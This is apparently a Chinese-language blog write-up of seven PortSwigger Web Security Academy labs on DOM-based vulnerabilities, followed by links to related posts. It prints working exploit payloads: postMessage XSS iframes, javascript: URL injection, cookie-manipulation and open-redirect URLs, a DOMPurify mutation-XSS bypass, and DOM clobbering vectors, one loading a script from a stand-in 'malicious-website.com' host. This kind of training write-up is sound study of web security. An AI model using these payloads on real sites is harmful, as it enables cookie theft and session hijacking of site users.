Portswigger web security academy:DOM-based vulnerabilities
DOM-based vulnerabilities
材料里没列完,直接做题吧
1 - DOM XSS using web messages
题目描述
- 这个lab有一个简单的web-message漏洞
要求
- 利用exploit server给网站发送一个信息,使其执行
alert(document.cookie)
- 利用exploit server给网站发送一个信息,使其执行
解题过程
查看源码,发现如下代码
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
去MDN看了下web message,是一个跨源通信的函数,可以通过
iframe来实现这个功能构造exp
- 先尝试了用
iframe+script标签的形式,但是发现script标签不会等iframe加载完,所以放进了iframe中 postMessage()的第二个参数使用通配符,允许目标站点为任意域(防止CORS被阻止)- 关于post进去的数据也进行了尝试(chrome),
svg,script都不行,想了一下应该与标签的解析流有关(插入的标签没有被解析),这里用img
<iframe src="https://ac131fb91f0c536f80f50dc100070028.web-security-academy.net/" onload='this.contentWindow.postMessage("<img src=x onerror=alert(document.cookie)>","*")'>
- 先尝试了用
2 - DOM XSS using web messages and a JavaScript URL
题目描述
- 此lab存在DOM-based跳转漏洞(通过web message诱发)
要求
- 构造页面,使访问者执行
alert(document.cookie)
- 构造页面,使访问者执行
解题过程
还是先找代码
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) { //传入的url包含http(s):
location.href = url;// 跳转
}
}, false);
弹窗可以通过伪
javascript伪协议调用let url = 'javscript:alert()-"http:"';
location.href = url; // 但是这样不好写进去,因为单双引号(所以需要借助编码环境进行编码,事件内部是js解析环境,会先进行unicode解码,所以可以进行编码
this.contentWindow.postMessage('javascript:alert(document.cookie)-"http:"',"*")
构造exp
<iframe src="https://ac901fa21ee08d748031385e00110021.web-security-academy.net/" onload='this.contentWindow.postMessage('javascript:alert(document.cookie)-"http:"',"*")'>
3 - DOM XSS using web messages and JSON.parse
题目描述
- 此lab使用了
web messageing并把消息当作json解析
- 此lab使用了
要求
- 构造页面,使访问者执行
alert(document.cookie)
- 构造页面,使访问者执行
解题过程
先看代码
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url; // 如果d.type=="load-channel",则讲url赋给iframe
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
构造exp
<iframe src="https://ac0b1f8a1e418d0a802e3c2100ea005f.web-security-academy.net/" onload='var a={"type":"load-channel","url":"javascript:alert(document.cookie)"};this.contentWindow.postMessage(JSON.stringify(a),"*")'>
- 这里需要用
JSON.stringify()把json转换成字符串,不能直接传输对象
- 这里需要用
4 - DOM-based open redirection
题目描述
- 此lab有一个DOM型的url跳转漏洞
要求
- 把受害者拐进exploit server
解题过程
点进一个详情页面,发现返回链接比较特殊
<a href="#" onclick="returnUrl = /url=(https?:\/\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = '/';">Back to Blog</a>
- 把
location(地址栏里全部的东西,包括#后面的内容)用正则url=(https?:\/\/.+)匹配,如果能匹配到,就跳转到匹配到的url
- 把
构造exp
- 这块想了半天,把受害者拐进exploit server需要点击按钮,总不能继续xss吧,然后去看了solution,自己就是受害者???
- 第二个,使用
#也可以达到目的,但是不给过,只能用&(猜测后端通过检测url参数判断)
https://ac891f911e4e7dcb80201fd4009d0060.web-security-academy.net/post?postId=4#url=https://acc61fdf1e577d2480831f0b019e002b.web-security-academy.net solution: # -> &
5 - DOM-based cookie manipulation
题目描述
- 此lab存在DOM型客户端cookie修改
要求
- 插入一个可以实现XSS(弹cookie)的cookie
解题过程
在商品详情页面看到如下代码
document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
可以通过
&/#插入内容在主页,发现在访问过之后,会出现浏览记录,而且会被
'逃逸<a href="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#" -alert()-'="">'>Last viewed product</a> 之前访问的是https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'-alert()-'>
构造exp
<iframe src="https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/product?productId=1#'%3E%3Csvg/onload=alert(document.cookie)%3E" onload="this.src='https://aca21f141f41e76480123c5f005500d9.web-security-academy.net/'">
6 - Exploiting DOM clobbering to enable XSS
题目描述
- 评论功能点允许安全的HTML
要求
- 构造HTML注入,污染(clobber)变量?,调用
alert() - hint:预期解只在chrome有效
- 构造HTML注入,污染(clobber)变量?,调用
解题过程
在详情页面看到函数调用
loadComments('/post/comment'),看看函数定义function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send(); function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
} function displayComments(comments) {
let userComments = document.getElementById("user-comments"); for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment"); let firstPElement = document.createElement("p"); let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">'; let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
} let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
} if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear(); if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day; dateStr = [day, month, year].join('-'); let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
} firstPElement.appendChild(divImgContainer); commentSection.appendChild(firstPElement); if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body); commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p")); userComments.appendChild(commentSection);
}
}
};
挨着看了一遍,感觉29、30行可能存在问题,但是不知道怎么利用
- 试了一下在提交参数的时候增加
avatar,没有用
- 试了一下在提交参数的时候增加
放着先测一下能用哪些标签
a
audio
b
big
br
button
canvas
center
cite
code
datalist
dfn
del
details
filedset
h1
hr
i
input
ins
kdb
label
li
mark
marquee
meter
optgroup
progress
q
rp
s
samp
select
svg
textarea
u
有点多,挑一个最喜欢的svg测测
然后发现,返回的数据包是没有过滤的,过滤全部在前端的
DOMPurify.sanitize()中进行本以为这条路走不通了,然后在搜这个函数的时候看到一篇Bypass DOMPurify的文章
<form>
<math><mtext>
</form><form>
<mglyph>
<style></math><img src onerror=alert(1)>
回到代码看看
如果能找到给
windows.属性赋值的方法(通过html或请求),就可以通过以下代码进行XSSlet defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
去看了下材料DOM clobber 里面介绍了一种方法,
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
<!--
To exploit this vulnerable code, you could inject the following HTML to clobber the someObject reference with an anchor element:
As the two anchors use the same ID, the DOM groups them together in a DOM collection. The DOM clobbering vector then overwrites the someObject reference with this DOM collection. A name attribute is used on the last anchor element in order to clobber the url property of the someObject object, which points to an external script.
--> <!-- 要修改 window.someObject.url 则使id=someObject name=url href=目标内容 -->
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
测试发现
javascript:伪协议被过滤试试能不能逃逸出字符串,最后还是看了solution,用的
"("的html实体编码)
构造exp(调用
alert()函数就行了,加document.cookie会被过滤<a id=defaultAvatar><a id=defaultAvatar name=avatar href=""onerror=alert()//">
7 - Clobbering DOM attributes to bypass HTML filters
题目描述
- 此lab使用了
HTMLJanitor库,可以通过DOM clobber构造攻击向量bypass过滤器并调用alert(document.cookie)
- 此lab使用了
要求
- 给受害者发送一个自动执行的攻击向量,
alert(document.cookie) - intended solution for chrome
- 给受害者发送一个自动执行的攻击向量,
解题过程
进详情页面看了看代码,没有上一题的直接引用
window.object/document.object,此外,引用了HTMLJanitor库反复看了几遍
HTMLJanitor的代码,没找到突破口在哪里,于是去看了solution + Donx发现的DOM clobber的介绍<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>
<!-- 覆盖 使 x.attributes == undefined --> <iframe src=https://your-lab-id.web-security-academy.net/post?postId=3 onload="setTimeout(someArgument=>this.src=this.src+'#x',500)">
关键代码
for (var a = 0; a < node.attributes.length; a += 1) {
var attr = node.attributes[a]; if (shouldRejectAttr(attr, allowedAttrs, node)) {
node.removeAttribute(attr.name);
// Shift the array to continue looping.
a = a - 1;
}
} // Sanitize children
this._sanitize(document, node); function shouldRejectAttr(attr, allowedAttrs, node) {
var attrName = attr.name.toLowerCase(); if (allowedAttrs === true) {
return false;
} else if (typeof allowedAttrs[attrName] === "function") {
return !allowedAttrs[attrName](attr.value, node);
} else if (typeof allowedAttrs[attrName] === "undefined") {
return true;
} else if (allowedAttrs[attrName] === false) {
return true;
} else if (typeof allowedAttrs[attrName] === "string") {
return allowedAttrs[attrName] !== attr.value;
} return false;
}
使用
<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>进行DOM clobber,使得form.attributes == undefined在检测的代码中可以看到,当
node.attributes == undefined时,会绕过removeAttribute(),保留下标签中的事件
之后的
iframe标签是用来触发onfocus的,必须等到加载评论的ajax结束
Portswigger web security academy:DOM-based vulnerabilities的更多相关文章
- Portswigger web security academy:DOM Based XSS
Portswigger web security academy:DOM Based XSS 目录 Portswigger web security academy:DOM Based XSS DOM ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Stored XSS
Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
随机推荐
- rest framework ViewSet
ViewSets 路由选择确定要用于一个请求哪个控制器之后,控制器负责做出请求的感并产生相应的输出. - Ruby on Rails的文档 Django的REST框架允许你的逻辑一组在一个类中的相关意 ...
- mysql操作和详解
温馨提示 mysql安装包里面:mysqld是服务端,mysql是客户端. mysqld其实是SQL后台程序(也就是MySQL服务器),它是关于服务器端的一个程序,mysqld意思是mysql dae ...
- SpringMVC请求映射handler源码解读
请求映射源码 首先看一张请求完整流转图(这里感谢博客园上这位大神的图,博客地址我忘记了): 前台发送给后台的访问请求是如何找到对应的控制器映射并执行后续的后台操作呢,其核心为DispatcherSer ...
- Java字符串==和equals的区别
首先我们来了解一下String类,Java的字符串是一旦被赋值之后无法更改的(这里的无法更改是指不能将字符串中单个或一段字符重新赋值),这也是Java虚拟机为了减少内存开销,避免字符串的重复创建设立的 ...
- 攻防世界 reverse elrond32
tinyctf-2014 elrond32 1 int __cdecl main(int a1, char **arg_input) 2 { 3 if ( a1 > 1 && c ...
- APP或者前端通过识别用户代理详细信息和浏览器数据进行安全防御
使用用户代理解析API 识别 访问您网站的浏览器,机器人,操作系统和设备 上手免费 阅读文档 解码用户代理 识别检测浏览器,操作系统,平台,设备类型以及其他30多个字段 多种浏览器,机器人,手机,平板 ...
- [递推] A. 【例题1】错排问题
A. [例题1]错排问题 题目描述 求多少个 n n n个数的排列 A A A ,满足对于任意的 i ( 1 ≤ i ≤ n ) i(1 ≤ i ≤ n) i(1≤i≤n) 使 A i ≠ i Ai ...
- Activiti工作流学习笔记(四)——工作流引擎中责任链模式的建立与应用原理
原创/朱季谦 本文需要一定责任链模式的基础,主要分成三部分讲解: 一.简单理解责任链模式概念 二.Activiti工作流里责任链模式的建立 三.Activiti工作流里责任链模式的应用 一.简单理解责 ...
- [Fundamental of Power Electronics]-PART II-9. 控制器设计-9.2 负反馈对网络传递函数的影响
9.2 负反馈对网络传递函数的影响 我们已经知道了如何推导开关变换器的交流小信号传递函数.例如,buck变换器的等效电路模型可以表示为图9.3所示.这个等效电路包含三个独立输入:控制输入变量\(\ha ...
- Java字节流和字符流,是时候总结一下IO流了
目录 从接收输入值说起 字节流读取 字符流读取 Scanner 读取 什么是 IO 流 字节流和字符流 字节流 字节输入流 字节输出流 缓冲流的原理 字符流 字符输入流 字符输出流 为什么字符流需要 ...